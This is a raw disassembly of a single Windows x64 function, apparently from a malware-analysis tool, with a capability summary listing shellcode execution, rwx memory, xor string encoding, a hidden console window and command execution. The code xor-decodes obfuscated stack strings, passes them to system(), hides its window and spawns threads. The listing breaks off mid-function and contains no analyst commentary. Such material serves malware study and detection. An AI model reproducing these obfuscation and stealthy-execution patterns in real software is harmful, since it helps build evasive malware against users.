Function at 0x140036f60
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute command
Execute shellcode via indirect call
Hide graphical window
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x4830
call fcn.1400e57a0
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140122060]
xor rax, rsp
mov qword [rbp + 0x47c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e30], xmm0
lea rdx, [rsp + 0x4858]
xor ebx, ebx
mov qword [rbp + 0x2e30], rbx
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x2e38], rcx
mov qword [rbp + 0x2e40], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rbp + 0x2e30], rax
mov qword [rdx], rbx
xor eax, eax
mov byte [rbp + 0x12e], al
mov byte [rbp + 0x12f], al
mov byte [rbp + 0x140], al
movabs rax, 0x95112fc472c11af6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xa36324edd396f98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0x33784aa4b1a87fe7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rsi, 0x43dc604d5b126582
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs r13, 0xf27849aa1da26a9f
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4360], rax
movabs r12, 0x6e5e413bb15f40b8
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4368], rax
movabs r14, 0x33784aa4b1a80c89
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4378], rax
vmovdqu ymm0, ymmword [rbp + 0x8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4360]
vmovdqa ymmword [rbp + 0x8c0], ymm1
lea rcx, [rbp + 0x8c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x20], al
mov byte [rbp + 0x21], al
mov byte [rbp + 0x22], al
mov byte [rbp + 0x23], al
mov byte [rbp + 0x24], al
mov byte [rbp + 0x25], al
movabs rax, 0xf27849aa69d11fcd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c00], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c08], rax
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x3c00]
movdqa xmmword [rbp + 0x270], xmm0
movabs rax, 0x96161ed369cb04ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x6e5e4148c23e2cfb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3bf0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3bf8], rax
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0x3bf0]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x280]
call qword [sym.imp.USER32.dll_FindWindowA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140034320]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140032c30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140034370]
lea rcx, [rbp + 0x1080]
call fcn.140044260
nop
lea rcx, [rbp + 0x1080]
call fcn.1400112c0
nop
cmp dword [rbp + 0x1088], ebx
je 0x140037245
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov byte [rbp + 0x26], al
mov byte [rbp + 0x27], al
mov byte [rbp + 0x28], al
mov byte [rbp + 0x29], al
mov byte [rbp + 0x2a], al
mov byte [rbp + 0x2b], al
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0xf27849aa1da26ae8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x290], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x298], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3be0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3be8], rax
movdqa xmm0, xmmword [rbp + 0x290]
pxor xmm0, xmmword [rbp + 0x3be0]
movdqa xmmword [rbp + 0x290], xmm0
movabs rax, 0xf25c1dff52ec25dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3bd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3bd8], rax
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x3bd0]
movdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x260]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x2c], al
mov byte [rbp + 0x2d], al
mov byte [rbp + 0x2e], al
mov byte [rbp + 0x2f], al
mov byte [rbp + 0x30], al
mov byte [rbp + 0x31], al
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0xf27849aa1dd641ed
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2b8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3c60], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c68], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
pxor xmm0, xmmword [rbp + 0x3c60]
movdqa xmmword [rbp + 0x2b0], xmm0
movabs rax, 0xf2786dc474cc05fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3bc0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3bc8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
pxor xmm0, xmmword [rbp + 0x3bc0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x32], al
mov byte [rbp + 0x33], al
mov byte [rbp + 0x34], al
mov byte [rbp + 0x35], al
mov byte [rbp + 0x36], al
mov byte [rbp + 0x37], al
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rdi, 0xf27849aa1dd641e8
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x2d0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2d8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3c50], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c58], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x3c50]
movdqa xmmword [rbp + 0x2d0], xmm0
movabs rbx, 0xf25c3ddf72cc05fc
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x38a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38a8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
pxor xmm0, xmmword [rbp + 0x38a0]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x38], al
mov byte [rbp + 0x39], al
mov byte [rbp + 0x3a], al
mov byte [rbp + 0x3b], al
mov byte [rbp + 0x3c], al
mov byte [rbp + 0x3d], al
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x2f0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2f8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3c30], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c38], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
pxor xmm0, xmmword [rbp + 0x3c30]
movdqa xmmword [rbp + 0x2f0], xmm0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c48], rax
movdqa xmm0, xmmword [rbp + 0x300]
pxor xmm0, xmmword [rbp + 0x3c40]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x300]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, 2
mov r8b, 0xc3
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor eax, eax
mov byte [rbp + 0x3e], al
mov byte [rbp + 0x3f], al
mov byte [rbp + 0x40], al
movabs rax, 0xbc370a8a58e625d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0x5b6b7c68fd100398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0x24519e1ffe140a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rax, 0x43dc604d5b1265b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4348], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4350], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4358], rax
vmovdqu ymm0, ymmword [rbp + 0x8a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4340]
vmovdqa ymmword [rbp + 0x8a0], ymm1
lea rcx, [rbp + 0x8a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f20]
call fcn.14000a380
lea rcx, [rbp + 0x2f20]
call fcn.1400079e0
nop
xor eax, eax
mov byte [rbp + 0x41], al
mov byte [rbp + 0x42], al
mov byte [rbp + 0x43], al
movabs rax, 0x970c31ef69d11fcd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0x5a6c7109dd3e2eca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4320], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4328], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4338], rax
vmovdqu ymm0, ymmword [rbp + 0x8e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4320]
vmovdqa ymmword [rbp + 0x8e0], ymm1
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x2f80]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x44], al
mov byte [rbp + 0x45], al
mov byte [rbp + 0x46], al
movabs rax, 0xa5143bd36bf53eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x6e5e413bb15f31f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c28], rax
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x3c20]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x2e80]
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x47], al
mov byte [rbp + 0x48], al
mov byte [rbp + 0x49], al
movabs rax, 0x971978cb25c60eaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1140], rax
movabs rax, 0x596a7609833c238d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1148], rax
movabs rax, 0x44c2f9c86906abb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1150], rax
movabs rax, 0x73ec017b632157b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1158], rax
movabs rax, 0xe193e4bd54fa9f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1160], rax
movabs rax, 0xb4b8ccc7ae429c15
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1168], rax
movabs rax, 0xadf3c2507a89744f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1170], rax
movabs rax, 0x3038ef395fc55dc3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1178], rax
movabs rcx, 0x792cc602775eb167
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
movabs rdx, 0xfaab0d73962f3600
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4180], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4188], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4190], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4198], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41a0], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41a8], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41b0], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41b8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x41c0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x41c8], rax
vmovdqu ymm0, ymmword [rbp + 0x1140]
vpxor ymm1, ymm0, ymmword [rbp + 0x4180]
vmovdqa ymmword [rbp + 0x1140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1160]
vpxor ymm1, ymm0, ymmword [rbp + 0x41a0]
vmovdqa ymmword [rbp + 0x1160], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1180]
vpxor xmm0, xmm0, xmmword [rbp + 0x41c0]
vmovdqa xmmword [rbp + 0x1180], xmm0
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0x2ea0]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x4a], al
mov byte [rbp + 0x4b], al
mov byte [rbp + 0x4c], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x4036354ed02625d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0x1c113ac59ec665fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x43dc604d74204bb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4300], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4308], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4310], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4318], rax
vmovdqu ymm0, ymmword [rbp + 0x900]
vpxor ymm1, ymm0, ymmword [rbp + 0x4300]
vmovdqa ymmword [rbp + 0x900], ymm1
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x2ec0]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x4d], al
mov byte [rbp + 0x4e], al
mov byte [rbp + 0x4f], al
movabs rax, 0xd21620da3dce19ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0x1a2e2e13912625d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
movabs rax, 0x337863c8d0c663e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4720], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4728], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4730], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4738], rax
vmovdqu ymm0, ymmword [rbp + 0x920]
vpxor ymm1, ymm0, ymmword [rbp + 0x4720]
vmovdqa ymmword [rbp + 0x920], ymm1
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x2ee0]
vzeroupper
call fcn.140007250
nop
lea rax, [rbp + 0x2310]
mov qword [rbp], rax
lea rdx, [rbp + 0x2ee0]
lea rcx, [rbp + 0x2310]
call fcn.14000e470
mov r15, rax
lea rax, [rbp + 0x26b0]
mov qword [rbp + 0x1518], rax
lea rdx, [rbp + 0x2ec0]
lea rcx, [rbp + 0x26b0]
call fcn.14000e470
mov r14, rax
lea rax, [rbp + 0x2350]
mov qword [rbp + 0x1060], rax
lea rdx, [0x14012b4c8]
lea rcx, [rbp + 0x2350]
call fcn.14000e470
mov rsi, rax
lea rax, [rbp + 0x2370]
mov qword [rbp + 0x1070], rax
lea rdx, [rbp + 0x2ea0]
lea rcx, [rbp + 0x2370]
call fcn.14000e470
mov rdi, rax
lea rax, [rbp + 0x2390]
mov qword [rbp + 0x130], rax
lea rdx, [rbp + 0x2e80]
lea rcx, [rbp + 0x2390]
call fcn.14000e470
mov rbx, rax
lea rdx, [rbp + 0x2f80]
lea rcx, [rbp + 0x23b0]
call fcn.14000e470
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.1400309c0
nop
lea rcx, [rbp + 0x30e0]
call fcn.140089730
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0x50], al
mov byte [rbp + 0x51], al
mov byte [rbp + 0x52], al
movabs rax, 0x865630cf76fe50dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x6e5e413bb15f34c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c10], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c18], rax
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0x3c10]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x2f00]
call fcn.140007250
nop
lea rcx, [rbp + 0x2e10]
call fcn.14000a380
lea rcx, [rbp + 0x2e10]
call fcn.1400079e0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x3390]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x2f00]
lea rcx, [rbp + 0x3390]
call fcn.140041c70
nop
mov qword [rbp + 0x10], 0
mov word [rbp + 0x18], 1
mov rax, qword [rbp + 0x3390]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x33d8]
mov qword [rbp + 0x130], rax
test rax, rax
sete byte [rbp + 0x138]
mov byte [rbp + 0x139], 0
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x1070], xmm0
movaps xmm1, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x1060], xmm1
lea r9, [rbp + 0x53]
lea r8, [rbp + 0x1070]
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x2f40]
call fcn.140043090
nop
xor eax, eax
mov byte [rbp + 0x54], al
movzx r8d, al
lea rdx, [rbp + 0x2f40]
lea rcx, [0x14012a090]
call fcn.14000e6a0
lea rcx, [rbp + 0x3390]
call fcn.14000e1d0
lea rdx, [0x14012a090]
lea rcx, [rbp + 0x23d0]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
movabs rsi, 0xb993b0ee5efc9f0c
movabs rcx, 0xb894b0eb55ff9f0c
movabs rdx, 0xe1bbcecbfa429d14
movabs rbx, 0x93032c6559158808
movabs rdi, 0xd39f5f7fdd4b692b
movabs r8, 0x88ff93477cd9741d
movabs r9, 0x665efc5e3ede01f1
movabs r10, 0x2e66a15d1235e75f
movabs r11, 0xc9ee4a3ada1f5e76
movabs r14, 0xddfdd7e50f57e6c5
movabs r15, 0x1efd069febb0f0b8
cmp byte [rbp + 0x3320], 0
jne 0x1400389de
lea rax, [rbp + 0x23f0]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x55], al
mov byte [rbp + 0x56], al
mov byte [rbp + 0x57], al
mov byte [rbp + 0x58], al
mov byte [rbp + 0x59], al
mov byte [rbp + 0x5a], al
mov byte [rbp + 0x5b], al
mov byte [rbp + 0x5c], al
mov byte [rbp + 0x5d], al
mov byte [rbp + 0x5e], al
mov byte [rbp + 0x5f], al
mov byte [rbp + 0x60], al
mov byte [rbp + 0x61], al
mov byte [rbp + 0x62], al
mov byte [rbp + 0x63], al
mov byte [rbp + 0x64], al
mov byte [rbp + 0x65], al
mov byte [rbp + 0x66], al
mov byte [rbp + 0x67], al
mov byte [rbp + 0x68], al
mov byte [rbp + 0x69], al
mov byte [rbp + 0x6a], al
mov byte [rbp + 0x6b], al
mov byte [rbp + 0xb], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs r12, 0x403a3354d22c29dc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
movabs r13, 0x1c113ac59ec563ea
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb70], rax
movabs rax, 0x30b70f22337000f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb78], rax
movabs rax, 0xb292b5ed5ffc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0xeeb4c9ccf6419719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
movabs rax, 0xf9f7bf4770d57818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb90], rax
movabs rax, 0x6d4ed14401c62ac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb98], rax
movabs rax, 0x1873a5372417d752
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba0], rax
movabs rax, 0x9fdb5737c01c0151
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba8], rax
movabs rax, 0xc53f2e480f179e00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb0], rax
movabs rax, 0xb4a93577eb6f5d39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb8], rax
movabs rax, 0xfdf6ebc07357fbe8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbc0], rax
movabs rax, 0x17d265b0ee8de58c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbc8], rax
movabs rax, 0x73c6f16ca59a86a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbd0], rax
movabs rax, 0x60a3769940942f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbd8], rax
movabs rdi, 0xf27849aa1da26a9f
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x43a0], rax
movabs rbx, 0x6e5e413bb15f40b8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x43a8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43b0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43b8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43c0], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43c8], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43d0], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43d8], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43e0], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x43e8], rax
movabs r14, 0xf5601b1c3d70d771
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x43f0], rax
movabs r15, 0xe6dc6c05a439106a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x43f8], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4400], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4408], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4410], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4418], rax
vmovdqu ymm0, ymmword [rbp + 0xb60]
vpxor ymm1, ymm0, ymmword [rbp + 0x43a0]
vmovdqa ymmword [rbp + 0xb60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb80]
vpxor ymm1, ymm0, ymmword [rbp + 0x43c0]
vmovdqa ymmword [rbp + 0xb80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x43e0]
vmovdqa ymmword [rbp + 0xba0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xbc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4400]
vmovdqa ymmword [rbp + 0xbc0], ymm1
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x23f0]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
